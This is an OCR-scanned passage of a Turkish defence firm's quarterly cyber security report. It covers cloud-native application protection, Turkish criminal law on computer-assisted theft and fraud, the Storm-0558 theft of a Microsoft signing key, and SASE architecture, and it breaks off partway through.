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SORUMSUZLUK VE FIKRI MULKIYET HAKKI BEYANI

isbu eserde/internet sitesinde yer alan veriler/bilgiler ticari amagh olmayip tamamen kamuyu bilgilendirmek amaciyla yayimlanan iceriklerdir. Bu eser/
internet sitesinde bulunan veriler/bilgiler tavsiye, reklam ya da is gelistirme amacina yonelik degildir. STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.
isbu eserdef/internet sitesinde sunulan verilerin/bilgilerin igerigi, glincelligi ya da dogrulugu konusunda herhangi bir taahhtide girmemekte, kullanici veya
Ucunci kisilerin bu eserde/internet sitesinde yer alan verilere/bilgilere dayanarak gergeklestirecekleri eylemlerden 6tliri sorumluluk kabul etmemektedir.
Bu eserde/internet sitesinde yer alan bilgilerin her tirlii hakki STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.’ye ve/veya eserde atif yapilan kisi
ve kurumlara aittir. Yazili izin olmaksizin eserde/internet sitesinde yer alan bilgi, yazi, ifadenin bir kismi veya tamami, herhangi bir ortamda hicbir sekilde
yayimlanamaz, ¢ogaltilamaz, igslenemez.
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2023 yilinin son c¢eyreginde Siber Glvenlik Mudurlugu
tarafindan hazirlanan raporumuzda yine birbirinden il-
ging konularla karginizdayiz. Bilisim sistemleri aracili-
giyla hirsizlik ve dolandiricilik gibi siber suclar giderek
artiyor. Ozellikle dijitallesmenin hizla yayilmasi, suclulara
yeni firsatlar sunuyor. Bu tlr suglara hukuki bir bakis aci-
sinl iceren makalemizi sizlerin istifadesine sunuyoruz.

Devlet destekli siber saldirlar da énemli bir gindem
maddesi olarak karsimiza ¢ikiyor. Bu raporumuzda Cin
destekli bilgisayar korsanlarinin Microsoft’'un imza anah-
tarini galmasina izin veren hatalari inceliyoruz. Bu tir si-
ber saldirlarin giderek karmasiklastigini ve énlenmeleri-
nin ne kadar kritik oldugunu vurguluyoruz.

Bulut teknolojileri hizla yayginlasiyor ve bu da yeni gu-
venlik zorluklari doguruyor. Bu nedenle, bulut dogal
uygulamalarin glvenligini artirmak icin kullanilan plat-
formlarn ve stratejileri ele aliyoruz. Ayni sekilde, uzaktan
calisma yayginlasirken glvenli erisim hizmetlerinin éne-
mi de buyuyor. Bu raporda, Secure Access Service Edge
(SASE) konseptini inceleyerek, organizasyonlarin gliven-
li erisimi nasil saglayabilecegini acikliyoruz.

Gegcici posta hizmetleri de veri guvenligi acisindan has-
sas bir alan haline geliyor. Bu baglik altinda, bu tir hiz-

1. Bulut Dogal Uygulamalar (CNAPP)

Bulut Dogal Uygulamalar (CNAPP), ginimizin hizla
degisen ve gelisen yazilim gelistirme ekosisteminde-
ki dnemli bir kavramdir. Bu rapor, CNAPP’in ne oldu-
dgunu, sundugu c¢ézimleri, gelisim sirecini ve ekosis-
teme olan katkilarini ayrintili bir sekilde ele alacaktir.
Ayrica, CNAPP’in bir bulut aginda nasil uygulandigini
inceleyecegiz.

CNAPP Nedir?

CNAPP, Bulut Dogal Uygulamalar olarak da adlandirilir
ve modern yazilim gelistirme pratiginin bir sonucu olarak
ortaya ¢ikmig bir yaklasimdir. Temel dzellikleri sunlardir:

Temel Kavramlar

CNAPP, agsagidaki temel kavramlari icerir: konteynerizas-
yon, orkestrasyon ve mikroservis mimarisi. Konteyneri-
zasyon, uygulamalarin bagimsiz ve izole konteynerlara
paketlenmesini saglar. Orkestrasyon, bu konteynerlerin
otomatik olarak dagitiimasini, élgeklenmesini ve yone-
tilmesini kolaylastinr. Mikroservis mimarisi ise blyuk ve
karmasik uygulamalar daha kiguk ve yonetilebilir par-
calara bdler.
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metlerde hassas bilgilerin kesfedilmesi risklerini ve bu
risklerin nasil azaltilabilecegini ele aliyoruz.

JWT (JSON Web Token) tokenlari, kimlik dogrulama ve
yetkilendirme igin kullanilan énemli araglardan biridir.
JWT tokenlarinin igleyisini ve givenligini ele alarak, bu
konuda bilgi sahibi olmanizi amagcliyoruz.

Siber saldirganlarin klavye vuruslarindan bilgi calma
yoéntemleri giderek daha sofistike hale geliyor. Bu tiir yan
kanal saldirilarinin nasil galistiginin ve bunlara karsi ted-
birlerin incelenmesi raporumuzun bir diger pargasi.

Son olarak, WinRAR gibi yaygin kullanilan yazimlardaki
zafiyetlerin ciddiyetini ele aliyoruz. WinRAR’In uzaktan
kod yurutme zafiyeti CVE-2023-38831, yazilim glincelle-
melerinin ne kadar dnemli oldugunu bir kez daha gézler
oénlne seriyor.

Geleneksel guvenlik modellerinin yetersiz kaldigi bir d6-
nemde, Zero Trust modeli de dnemli bir gindem maddesi
olarak 6ne cikiyor. Glvenligin sadece glvenilir ic agdlarla
sinirl tutulmayip bitldn cihazlara ve kullanicilara nasil ge-
nigletilebilecegini géstermek igin bu modeli ele aliyoruz.

Son konumuzu her raporumuzda gtincelledigimiz ho-
neypot verilerimize yer ayirdik.

lyi okumalar.

CNAPP’in Avantaijlari

CNAPP modern yaziim gelistirme sureglerinde bir do-
nUm noktasi olarak kabul edilir ve bir dizi Snemli avantaj
sunar. Bu avantajlar, isletmelere projelerini daha verimli
ve etkili hale getirerek rekabet avantaji saglar. Ayrica uy-
gulamalarin daha hizli bir sekilde geligtiriimesini ve da-
gitiimasini mimkin kilar. igerdigi konteyner teknolojileri
sayesinde uygulamalarin daha bagimsiz ve taginabilir ol-
masina olanak saglar. Saydigimiz anahtar noktalar saye-
sinde yazilim gelistirme ekipleri yeni ézellikleri daha hizli
bir sekilde kullanima sunabilirler. CNAPP, uygulamalarin
ihtiyaca gbre otomatik olarak 6lceklenmesini de kolay-
lagtinr. is yik{ arttiginda, yeni konteyner érnekleri hiz-
la olusturulabilir ve trafik artisina yanit olarak kaynaklar
artirilabilir. Bu, olay temelli sistemlerin veya blyUk veri
analitigi platformlarinin hizli ve dinamik élgeklenmesi igin
idealdir. CNAPP glvenlik 6nlemlerinin kolayca uygulan-
masini saglar. Konteynerler, birbirlerinden izole sekilde
galistiklari i¢in bir konteynerin glivenlik ihlali teorik olarak
digerlerini etkilemeyecektir. Ayrica, glvenlik yamalar ve
glincellemeleri hizla uygulanabilecektir. Ornegin bir sag-
Ik hizmeti saglayicisi, hassas hasta verileri icin CNAPP
kullanarak ylksek dizeyde veri glvenligi saglayabilir.
CNAPP, kaynaklarin etkin kullaniimasini saglayarak ma-
liyetleri azaltir. Konteynerler, fiziksel sunucularin ve sanal
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makinelerin Uzerine insa edilir, bu da kaynaklarin daha iyi
paylasiimasini ve bosa harcanmamasini saglar. Bir egi-
tim kurumu 6grenci sayisindaki degisikliklere hizla uyum
saglayabilen ve ayni anda binlerce égrenciye hizmet ve-
rebilen bir online yénetim sistemini daha dusuk bir iglet-
me maliyetiyle ¢calistirabilir.

CNAPP’in Gelisimi

CNAPP kavraminin evrimi, yaziim gelistirme dinya-
sinda énemli bir dénisimuU temsil eder. Bu bdlimde,
CNAPP’in gelisimini inceleyecegiz.

Geleneksel Monolitik Uygulamalardan CNAPP’e

Geleneksel monolitik uygulamalar, tim islevselligi tek
bir blyUk uygulamada birlestirirken, CNAPP, mikroser-
vis mimarilerine gecisi tesvik eder. Bu gecis uygulama
gelistirme streclerini daha esnek ve hizli hale getirir. Her
bir mikroservis bagimsiz olarak gelistirilebilir, dagitilabilir
ve Olceklendirilebilir.

Bulut Bilisim Teknolojilerinin Rolii

CNAPP kavrami, bulut bilisim teknolojilerinin gelismesi
ve yayginlasmasiyla birlikte daha da glclenmektedir.
Bulut altyapisi CNAPP’in temel bir bileseni olarak kabul
edilir. Bulut altyapisi konteyner tabanl uygulamalarin
hizlica dagitiimasina ve 6lgeklendiriimesine olanak tanir.
Ayrica, bulut hizmet saglayicilant CNAPP’i desteklemek
igin 6zel hizmetler sunarlar.

CNAPP Ekosistem Katkilari

CNAPP, yazilim gelistirme ekosistemine c¢esitli katkilarda
bulunur. Bu bdlimde CNAPP’in ekosisteme olan etkile-
rini ele alacagiz.

Gelistirici Verimliligi

CNAPP, geligtiricilerin daha hizli ve verimli calismasina
olanak saglar. Konteynerler gelistirme ve dagitim surec-
lerini basitlestirir ve hizlandinr. Ayrica her bir mikroservi-

sin bagimsiz olarak gelistiriimesi ekiplerin paralel calis-
masina olanak tanrr.

Yeniden Kullanilabilirlik

CNAPP, moduler bir yaklagimi tesvik ederek kodun ye-
niden kullanilabilirligini artiran bir platform yapisidir. Her
bir mikroservis farkl projelerde veya uygulamalarda ye-
niden kullanilabilir. Bu da gelistirme slreclerinin daha
etkili olmasini saglar.

inovasyon

CNAPP, bulut saglayicilarina ve arag gelistiricilerine yeni
firsatlar sunar. Konteyner tabanl uygulamalarin yénetimi
ve hizli dagitimi i¢in 6zel araglar ve hizmetler gelistiriime-
si daha yaratici ve yenilikgi ¢dzUmlerin ortaya ¢ikmasina
olanak tanrr.
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CNAPP ve Bulut Agi Uygulamalari

CNAPP bir bulut aginda nasil uygulanir? Bu bdlim-
de CNAPP’in bir bulut aginda kullanilma ydntemlerini
inceleyecegiz.

Konteyner Teknolojileri

CNAPP’de uygulamalar konteynerler seklinde paketle-
nerek bagimsiz galigabilir hale getirilirler ve bulut plat-
formlari Uzerinde calistirilabilirler. Konteynerler uygula-
malarin tasinabilirligini artinr ve farkh bulut saglayicilar
arasinda kolayca gegis yapiimasini saglar.

Orkestrasyon Araclari

Orkestrasyon araglari CNAPP uygulamalarinin otomatik
olarak yénetilmesini saglar. Kubernetes en popduler or-
kestrasyon araclarindan biridir. Kubernetes konteyner-
lerin dagitimini, 6lgeklenmesini ve izlenmesini otoma-
tiklestirir. Bu, buyutk ve karmasik uygulamalarin etkili bir
sekilde ydnetilmesini saglar.

Mikroservis Mimarileri

CNAPP, mikroservis mimarileriyle uyumlu olarak calisir
ve uygulamalari daha kiguk ve ydnetilebilir parcalara
boler. Her bir mikroservis, belirli bir iglevselligi temsil
eder ve bagimsiz olarak dagitilabilir. Bu sayede uygu-
lamalar daha modiler olurken bakimlar da daha kolay
hale gelir.

DevOps Siirecleri

CNAPRB, gelistirme ve isletme sureglerini birlestirerek hizli
ve glvenilir dagitimlan destekler. DevOps strecleri ya-
zilim gelistirme ve isletme ekiplerinin daha yakin igbirli-
gi yapmasini saglar. Bu da uygulamalarin daha hizli bir
sekilde gelistiriimesini, test edilmesini ve dagitiimasini
mUmkun kilar.

SIBER GUVENLIK AVANTAJLARI
Izolasyon ve Konteyner Giivenligi

CNAPP, uygulamalari izole konteynerlerde calistirarak
guvenlik aciklarni sinirlar. Her uygulama veya mikroser-
vis, kendi konteynerinde ¢alisir ve izole durumdadir. Bu,
bir uygulama igindeki bir gtivenlik ihlalinin diger uygula-
malari etkileme olasiligini azaltir. Ayrica, konteyner tek-
nolojileri, glivenlik aciklarini hizl bir sekilde saptamak ve
kapsamli izleme saglamak icin kullanilabilir.

Hizh Giivenlik Gilincellemeleri

CNAPP, glvenlik yamalarn ve glncellemeleri kontey-
nerler Uzerinde hizli ve etkili bir sekilde uygulamayi
saglar. Konteynerlerde uygulamalar bitin bagimhlikla-
riyla birlikte paketlenir, bu da glincellemelerin kolayca
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dagitiimasini saglar. Bir glvenlik acidi tespit edildiginde,
ilgili konteynerler hizla gtincellenebilir ve siber saldirilara
karsi hizl bir savunma saglanmis olur.

Hassas Veri Giivenligi

Ozellikle hassas verileri isleyen organizasyonlar icin si-
ber glivenlik kritik 6neme sahiptir. CNAPP verilerin daha
glivenli bir sekilde saklanmasina ve islenmesine yar-
dimci olur. Hassas veriler gtvenlik dnlemleriyle korunan
konteynerlerde islenebilir. Finansal hizmetler, saglik hiz-
metleri ve kamu sektdru gibi sektérler icin bu dnemli bir
avantajdir. Veri sizintilar ve guivenlik ihlalleri riskini azaltr.

Giivenlik izleme ve Denetimi

CNAPP gtvenlik izleme ve denetimini kolaylastirir. Kon-
teyner tabanl uygulamalarin izlenmesi ve denetlenme-
si igin 6zel araglar ve hizmetler kullanilabilir. Bu araclar
uygulamalarin glvenlik durumunu sirekli olarak izler ve
anormal aktiviteleri tespit eder. Ayrica glivenlik denetim-
leri daha etkili bir sekilde yapilabilir ve uyumluluk gerek-
sinimleri kargilanabilir.

Sonug

Cloud-Native Application Protection Protocol (CNAPP)
yazihm gelistirme dinyasinin dénisimuande kritik bir rol
oynamaktadir ve ayrica siber guvenlik agisindan teknik
olarak glicli bir ¢éziimd(ir. izolasyon, hizli giivenlik giin-
cellemeleri, hassas veri glivenligi ve guvenlik izleme gibi
avantajlar, organizasyonlarin siber saldirilara kargi daha
iyi korunmasina yardimci olur.

2. Bilisim Sistemleri Aracihigiyla Hirsizlik ve
Dolandiricilik Suglari

Bilisim s6zcigi Turk Dil Kurumu Bilisim Terimleri s6z-
liginde, “insanoglunun teknik, ekonomik ve toplumsal
alanlardaki iletisiminde kullandigi ve bilimin dayanagi
olan bilginin, dzellikle elektronik makineler araciligiyla,
duzenli ve ussal bigimde iglenmesi bilimi” olarak tanim-
lanmaktadir!’. Bilisim sistemleri kavrami ise Tirk Ceza
Kanunu Madde Gerekcelerinde, verileri toplayip yerlestir-
dikten sonra bunlari otomatik islemlere tabi tutma olana-
gini veren manyetik sistem seklinde tanimlanmaktadir®?.
Bilisim sucu, bilgileri otomatik isleme tabi tutan veya ve-
rilerin nakline yarayan bir sistemde kanun digi, ahlak digi
veya yetki digi gerceklestirilen her trli davranis olarak
tanimlanmaktadir®. Bilisim sugu kavramini ifade etmek
icin “siber su¢”, “internet sucu”, “bilgisayar sugu” ve
“sanal suc” gibi farkl terimler de kullaniimaktadirt
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Bilisim sucu olarak degerlendirilen ilk olayin 18 Ekim
1966 tarihinde Minneapolis Star Tribune gazetesinde yer
alan “Bilgisayar Uzmani Banka Hesabinda Tahrifat Yap-
makla Suglaniyor” baslikl haberde yer aldigi bilinmekte-
dir®l. Ulkemizde biligim suglarina yénelik ilk diizenleme
Turk Ceza Hukukunda 1991 yilinda 3756 sayili Kanun’la
yapilmistir. S6z konusu kanun;

1. Sistemde yer alan ve sir teskil eden bilgiyi hukuka
aykiri sekilde elde edip 6grenmeyi,

2. Basgkasina zarar vermek i¢in sistemde bulunan bilgi-
leri kullanmayi, aktarmayi ve ¢ogaltmayi,

3. Baskasina zarar vermek veya kendisine yarar sag-
lamak amaciyla sistemi ve unsurlarini tahrip etmeyi,
degistirmeyi, silmeyi ve sistemin islemesine engel ol-
may!1, yanlis bir sekilde islemesini saglamayi,

4. Sistemi kullanarak kendisi veya baskasi lehine huku-
ka aykir yarar saglamayi, dolandiriciigi ve

5. Sistemi kullanarak sahtecilik yapmay! bilisim sugclari
icinde ele almaktadir®.

TCK’da bilisim suglar; “Dogrudan Bilisim Suclan (Ger-
cek Bilisim Suclari)” ve “Dolayisiyla Bilisim Suclan” (Bi-
lisim Baglantili Suclar) olarak iki sekilde siniflandiriimak-
tadir”.. TCK’nin “Bilisim Alaninda Sugclar” baglidi altinda
yer alan 243, 244, 245 ve 246. maddeleri “dogrudan
bilisim suclarn”ni icermektedir. Bilisim sistemleri aracili-
giyla islenen suclar ise “dolayisiyla bilisim suglari” olarak
tanimlanmaktadir. TCK’nin 10. b&liminde “Malvarligina
Karsl Suglar” bashginda yer alan “nitelikli hirsizhk” ve
“nitelikli dolandiricilik” suclari da bilisim sistemleri araci-
hgiyla islenen suclardan bazilaridir.

Bilisim Sistemleri Araciigiyla Hirsizlik Sucu

Hirsizlik sucunun malvarligina karsi islenen suglarin en
basta geleni ve en eskisi oldugu bilinmektedir. Bu eylem
sonucunda magdurun malvarliginda eksilme olurken,
fail kendisi veya baskasi lehine haksiz zenginlesme sag-
lamaktadir®. Hirsizlik sugu, TCK’'nin 142. maddesinde
“Zilyedinin rizasl olmadan baskasina ait tasinir bir mal,
kendisine veya baskasina bir yarar saglamak maksadiyla
bulundugu yerden alan kimseye bir yildan G¢ yila kadar
hapis cezasi verilir” ifadesiyle yer almaktadir. Bu sugun
bilisim sistemleri araciligiyla islenmesi nitelikli hal olarak
degerlendiriimekte ve TCK 142/2-e’de belirtildigi tzere
cezasl artmaktadir'. Burada bilisim sistemi yalnizca bir
arag olarak kullanilmakta, sistemin kendisine ydnelik bir
zarar bulunmamaktadir.

1 Madde 142- (1) Hirsizlik sugunun; a) Kime ait olursa olsun kamu kurum ve kuruluslarinda veya ibadete ayriimis yerlerde bulunan ya da kamu yararina veya hizmetine tahsis edilen esya hakkin-
da, b) (Mulga: 18/6/2014-6545/62 md.) c) Halkin yararlanmasina sunulmus ulasim araci iginde veya bunlarin belli varis veya kalkis yerlerinde bulunan esya hakkinda, d) Bir afet veya genel bir
felaketin meydana getirebilecegi zararlar 6nlemek veya hafifletmek maksadiyla hazirlanan esya hakkinda, e) Adet veya tahsis veya kullanimlari geregi agikta birakimis esya hakkinda, f) (Milga:
2/7/2012-6352/82 md.) islenmesi halinde, tg yildan yedi yila kadar hapis cezasina hiikmolunur. (53) (2) Sugun; a) Kisinin malini koruyamayacak durumda olmasindan veya dlmesinden yarar-
lanarak, b) Elde veya Ustte taginan esyayi ¢ekip almak suretiyle ya da 6zel beceriyle, c) Dogal bir afetin veya sosyal olaylarin meydana getirdigi korku veya kargasadan yararlanarak, d) Haksiz
yere elde bulundurulan veya taklit anahtarla ya da diger bir aletle kilit agmak veya kilittenmesini engellemek suretiyle,(53) e) Bilisim sistemlerinin kullanilimasi suretiyle, f) Taninmamak igin tedbir
alarak veya yetkisi olmadigi halde resmi sifat takinarak, g) (...)(53) buytik veya kiigtik bas hayvan hakkinda,(53) h) (Ek: 18/6/2014-6545/62 md.) Herkesin girebilecegi bir yerde birakiimakla birlikte
kilitlenmek suretiyle ya da bina veya eklentileri icinde muhafaza altina alinmis olan esya hakkinda, islenmesi halinde, bes yildan on yila kadar hapis cezasina hiikmolunur.
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Bilisim sistemleri araciigiyla hirsizlik konusunda farkli
gorisler bulunmaktadir. TCK’nin 141. maddesinde di-
zenlenen hirsizlik sugunun somut nesnelerin ¢calinmasi-
na yonelik oldugu, ancak bilisim yoluyla yapilan hirsizlik-
ta somut bir nesne ¢alinmadigi goériisi bunlardan biridir.
Karsit bir goriste ise bilisim sistemleri kullanilarak somut
nesnelerin de galinabilecegi belirtilmistir. “Ornegin bir bi-
nanin givenlik sisteminin ayri bir bilisim sistemine bag-
I olarak calistigi durumlarda, bilisim sistemine hukuka
aykiri bir sekilde girilerek guvenlik sisteminin devre digl
birakilmasi ve bu suretle binadan tasinir mallarin ¢alin-
masi halinde hirsizlik sugunun bilisim sistemleri yoluyla
islendigi kabul edilmektedir.” Bir diger gorls ise bilisim
sistemleri araciligiyla failin, magdurun hesabindan ken-
disine para aktarmasi durumunda bu paranin veri ola-
rak degerlendiriimesi ve TCK 244/4’e gére degerlendi-
rilmesi gerekliligidir. Ancak burada magdurun parasinin
calindiyi ve malvarligina zarar verildigi, bu nedenle de
baskasina ait malvarligi elde edildigi i¢in nitelikli hirsizlik
olarak degerlendirilmesi gerektigi gérisi de mevcuttur.
Bu konudaki tartismalar Yargitay Ceza Genel Kurulunun
17.11.2009 tarihli E:2009/11-193, K:2009/268 sayil ka-
rari ile son bulmustur®.

Bilisim Sistemleri Araciligiyla Dolandiricilik Sucu

TCK’da dolandiricilik sugu 157, 158 ve 159. maddelerde
dizenlenmistir. TCK’nin 158. maddesinde dolandirici-
ik sucunun basit sekli, “Hileli davraniglarla bir kimseyi
aldatip, onun veya bagkasinin zararina olarak, kendisi-
ne veya baskasina bir yarar saglayan kisiye bir yildan
bes yila kadar hapis ve bes bin gline kadar adli para
cezasi verilir” ifadesiyle yer almaktadir. Bu sugun bilisim
sistemleri araciligiyla islenmesi nitelikli hal olarak deger-
lendiriimekte ve diger agirlastirici nedenleri ile birlikte
TCK 158’de diizenlenmektedir?. TCK 159’da ise sugun
hafifletici nedeni “Daha az cezayi gerektiren hal” olarak
bulunmaktadir®.

Dolandiricilik sugu da hirsizlik sugu gibi malvarligina
karsl suclardan olmakla birlikte, bu iki su¢ tipi “sucla
korunan hukuki yarar”, “sugun maddi konusu”, “sugun
maddi unsuru”, “su¢ magdurunun rizasi” olmak Uze-
re cesitli acilardan birbirinden ayrilmaktadir'®. Hirsizlik
sucu magdurun rizasi olmaksizin gergeklestirilirken, do-
landiricilik sugcunda magdurun iradesi hileli davraniglar-
la sakatlanmaktadir ve bu sayede magdurun malvarhgi
bakimindan zararli olan ve baskalarinin malvarligi ba-
kimindan yararli olan bir tasarrufun, magdur tarafindan
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gerceklestiriimesi saglanmaktadir [''. Dolandiricilik su-
cundan s6z edilebilmesi icin sugun gercek bir kisiye kar-
sl islenmesi, hileli davraniglarla gergeklesmesi ve haksiz
kazang saglanmasi gerekmektedir. Ornegin, internetteki
bir platform Uzerinden bilgisayar sattigini iddia eden bir
sahis, bilgisayan almak isteyen bir kullaniciyla iletisime
gecerek kendi hesabina para gbénderilmesini saglar an-
cak bilgisayar aliciya géndermezse, bilisim sistemini
araci kilarak haksiz kazang saglamis olur ve TCK 158/1-f
maddesi geregince suc islemis olur. Siklikla karsilasilan
ve bilisim sistemlerinden faydalanilarak gerceklestirilen
bir diger dolandiricilik tiir( ise sosyal medya araclarinin
kullanilmasiyla gerceklestirilen dolandiriciliktir. Kisinin
kendisini Instagram, Twitter, Tiktok vb. sosyal medya
platformlar Gzerinden farkli biri gibi tanitarak haksiz ka-
zanc elde etmesi TCK 158/1-f kapsamina girmekte ve
nitelikli dolandiricilik olarak degerlendiriimektedir. Ancak
bu eylem bir kisinin parolasinin ele gecirilmesi sonucu
o kisinin sosyal medya hesabi Uzerinden gerceklestirilir-
se, bu durumda dncelikle bilisim sistemine izinsiz girme
sucu olusacaktir (TCK 243/1).

Bilisim Sistemleri Araciligiyla islenen Hirsizlik ve
Dolandiricilik Suc¢larindan Korunma Yoéntemleri

Bilisim suclarindaki artis géz 6éniinde bulunduruldugun-
da, devletlerin, kurum ve kuruluslarin alacagi 6nlemlere
ek olarak bireylerin bilinglendiriimesine 6ncelik verilme-
lidir. Hirsizlik, dolandiricilik ve bilisim sistemleri aracil-
giyla islenebilecek birgok sugtan korunmak igin alinacak
bireysel 6nlemler &nem arz etmektedir.

internette parola, kredi karti, banka karti vb. bilgilerin
girildigi web sitelerinin gegerli SSL sertifikalarinin olma-
sina dikkat edilmelidir. Bilgisayarlarin ortak kullanildigi
internet kafe vb. ortamlarda kredi/banka karti bilgileri
girilmemeli, mecburi durumlarda sanal klavye kullanil-
malidir. Ayni parola birden fazla hesap i¢in kullaniima-
mali, segilen parolalarin kolay tahmin edilebilir olma-
masina 6zen gosterilmelidir. Parolalar agik bir sekilde
yazili olarak herhangi bir ortamda tutulmamali ve kim-
seyle paylasilmamalidir. iki asamali dogrulama 6zelligi
sunan tim ortamlarda bu 6zellik devreye alinmali, in-
ternette bankacilik islemleri yapilirken 3D secure sis-
temi kullaniimalidir. Fiziksel kart bilgileri online aligveris
islemlerinde kullaniimamali, bunun yerine sanal kart
kullaniimalidir. Lisansh isletim sistemi ve uygulamalar
kullanilmali, tim sistemlerde her zaman guvenlik gin-

cellestirmeleri yapiimaldir.

2 Madde 158- (1) Dolandiricilik sugunun; a) Dinf inan¢ ve duygularin istismar edilmesi suretiyle, b) Kisinin iginde bulundugu tehlikeli durum veya zor sartlardan yararlanmak suretiyle, c)
Kisinin algilama yeteneginin zayifigindan yararlanmak suretiyle, d) Kamu kurum ve kuruluslarinin, kamu meslek kuruluslarinin, siyasi parti, vakif veya dernek ttizel kisiliklerinin arag olarak
kullanilmasi suretiyle, ) Kamu kurum ve kuruluslarinin zararina olarak, f) Bilisim sistemlerinin, banka veya kredi kurumlarinin arag olarak kullaniimasi suretiyle, g) Basin ve yayin araglarinin
sagladigi kolayliktan yararlanmak suretiyle, h) Tacir veya sirket yoneticisi olan ya da sirket adina hareket eden kisilerin ticari faaliyetleri sirasinda; kooperatif yoneticilerinin kooperatifin faa-
liyeti kapsaminda, i) Serbest meslek sahibi kisiler tarafindan, mesleklerinden dolayi kendilerine duyulan gtivenin koétuye kullaniimasi suretiyle, j) Banka veya diger kredi kurumlarinca tahsis
edilmemesi gereken bir kredinin acgilmasini saglamak maksadiyla, k) Sigorta bedelini almak maksadiyla, I) (Ek: 24/11/2016-6763/14 md.) Kisinin, kendisini kamu gorevlisi veya banka, sigorta
ya da kredi kurumlarinin galisani olarak tanitmasi veya bu kurum ve kuruluslarla iliskili oldugunu sdylemesi suretiyle, islenmesi halinde, (i yildan on yila kadar hapis ve besbin giine kadar

adlf para cezasina htikmolunur.

3 Madde 159- (1) Dolandiriciligin, bir hukuki iliskiye dayanan alacag tahsil amaciyla islenmesi halinde, sikayet Gzerine, alti aydan bir yila kadar hapis veya adli para cezasina htikmolunur.
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3. Cin Destekli Bilgisayar Korsanlarinin
Microsoft Saldirilar

Haziran ayinda Cin destekli bilgisayar korsan grubu bir
sirketin sistemlerinden kriptografik anahtar ¢aldigini be-
lirtti. Bu anahtar, saldirganlarin birden fazla ABD devlet
kurumu da dahil olmak zere 25 kurulusun bulut taban-
Il Outlook e-posta sistemlerine erismesine firsat verdi.
Microsoft, kritik verileri ¢alan grubun anahtarn bu kadar
kolay nasil ele gecirdigi hakkinda bir agiklama yapmadi.
Kurumsal sistemler arasinda gecis yapmak icin kullana-
bilmeleri de kafalarda soru isaretleri birakti ['2. S6z ko-
nusu sirkete yapilan saldinyla ilgili incelemeler baslatild.
Saldirya olanak saglayan bir¢ok hata ve ihmal oldugu
dusundliyordu.

Bu tur sifreleme anahtarlari, verilere ve sistemlere erig-
mek isteyen kullanicilarin kimligini kanitlayan kimlik dog-
rulama metotlar olusturmak icin kullanilmaktadir. Mic-
rosoft, hassas anahtarlar erisim agisindan kontrolli bir
sekilde sakladigini acgiklamasinda belirtti. Ancak Nisan
2021’°de belirli bir sistemde ¢cékme yasadiktan sonra s6z
konusu anahtarin calinmasina firsat vermesine yol acti-
gini ispatladi '3, Microsoft sistemlerini, imza anahtarlari
ve diger hassas verileri kilitlenme dump’lari ile sonug-
lanmamasi igin tasarlamistir, ancak bu anahtar bir hata
nedeniyle gézden kagmistir. Daha da kétisu, ¢ékme
dump’larinda hatal verileri tespit etmek igin olusturulan
sistemler, sifreleme anahtarini isaretlemede basarisiz ol-
mustu. Cékme dump’i gériinlste incelenip temizlendik-
ten sonra, sirketin normal kurumsal agina bagl bir tir
onceliklendirme ve inceleme alani olan Microsoft “hata
ayiklama ortamina” tasindi. Kimlik bilgilerinin eklendigini
tespit etmek igin tasarlanan tarama, anahtarin verilerde-
ki varligini tespit edemedi.

Nisan 2021’de gerceklesmesinden sonra, Microsoft’un
Storm-0558 olarak adlandirdigi Cin hacker grubu,
Microsoft muhendisinin kurumsal hesabinin gulvenli-
gini ihlal etti. ihlal edilen hesapla saldirganlar, anah-
tarlarin depolandii hata ayiklama ortamina rahatlikla
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erisebilmektedir. Microsoft ele gecirilen hesabin kilitlen-
me dump’inin sizdirldigini dogrudan gdsteren loglarin
artik elinde olmadigini séyllyor, bu aktériin anahtari ele
gegirmesine yonelik bir 6n hazirlikti. Bu ele gegirme sa-
yesinde saldirganlar, mesru Microsoft hesabi erisimleri
olusturmaya baslayabildiler!'4,

Microsoft, bu durumun sirketteki musteri sistemlerinin
imzalan kriptografik olarak dogrulamasina yardimci ol-
mak icin sagladigi uygulama program araylziyle (API)
ilgili bir sorundan kaynaklandigini belirtti. Durum hakkin-
da arastirmalar devam etmektedir.

4. Secure Access Service Edge

Secure Access Service Edge‘in kisaltmasi olan SASE
degisen teknoloji altyapisiyla beraber gindeme gelmis-
tir. isimlendirilmesi Gartner tarafindan yapilan SASE,
geleneksel ag ve givenlik yapisinin daha bulut merkez-
li bir hale gelmesinin sonucudur. Veri merkezinin firma
tesislerinde bulundugu durumlarda kullanicilar, merke-
zi guvenlik cihazlarn Uzerinden guvenlik kontrollerinden
gectikten sonra veri merkezinde bulunan uygulamalara
erismektedirler. Bulut kullanimiyla birlikte kullanicilar ve
subeler veri merkezi sistemlerine erismek icin de inter-
net altyapisini kullanmak zorunda kalmiglardir. Sekil 1’de
bu iki mimari de gosterilmektedir. SASE de bu ihtiyaca
cevap verecek sekilde kullanicilarin ve cihazlarin givenli
bir sekilde aga erisimini saglamak ve ag trafigini yonet-
mek igin ortaya ¢cikmig bir modeldir.

SASE mimarisinin 6ne c¢ikan baslica taraflari sunlardir:

Ag guvenligi politikalarinin ve kurallarinin merkezi bir
sekilde ydnetilmesini kolaylastirir.

Daha glvenli bir ag erisimi saglayarak uzaktan ¢alis-
ma ihtiyacina cevap verir.

Veri merkezi bagimlihgini azaltir ve glvenlik Grinlerini
bulut Gzerinden calistirarak gecikme strelerini kisaltir.

Now

= o  m |

Headquarter

Office Branch
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Sekil 1: Geleneksel mimari ve bulut tabanl mimaril’.
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Zaman zaman i¢ ice gegseler de temel SASE bilesenleri
ve gorevleri su sekildedir:

1.

SWG (Secure Web Gateway - Giivenli Web Agi Ge-
¢idi): Organizasyonlarin internet trafigini gtvenli bir
sekilde denetlemesine ve korumasina yardimci olur.
Temel iglevleri sunlardir:

Web Trafigi Filtreleme: Kullanicilarin internet
Uzerinde gezinirken karsilasabilecegdi zararl yazi-
imlar, tehdit barindiran web siteleri vb. tehditlere
karsi koruma saglar. Bu, zararli igerikleri ve tehli-
keli baglantilara erisimi engeller.

Kullanici Kimlik Dogrulama: Kullanicilarin gi-
venli bir sekilde internete erismesini saglamak
icin kimlik dogrulama ve yetkilendirme gorevlerini
Ustlenir.

Veri ve icerik Denetimi: icerik filtrelemesi ve veri
kaybi 6nleme (DLP) kontrolleri ile hassas verilerin
izinsiz paylasiimasini ve sizdiriimasini engeller.

Giivenlik Duvan (Firewall as a Service - FWaaS$):
Tdm ag trafigi merkezi bulut tabanl giivenlik duvari
Uzerinden yoénlendirilir ve belirlenen givenlik politi-
kalari uygulanir. Bdylece veri ve uygulamalarin ko-
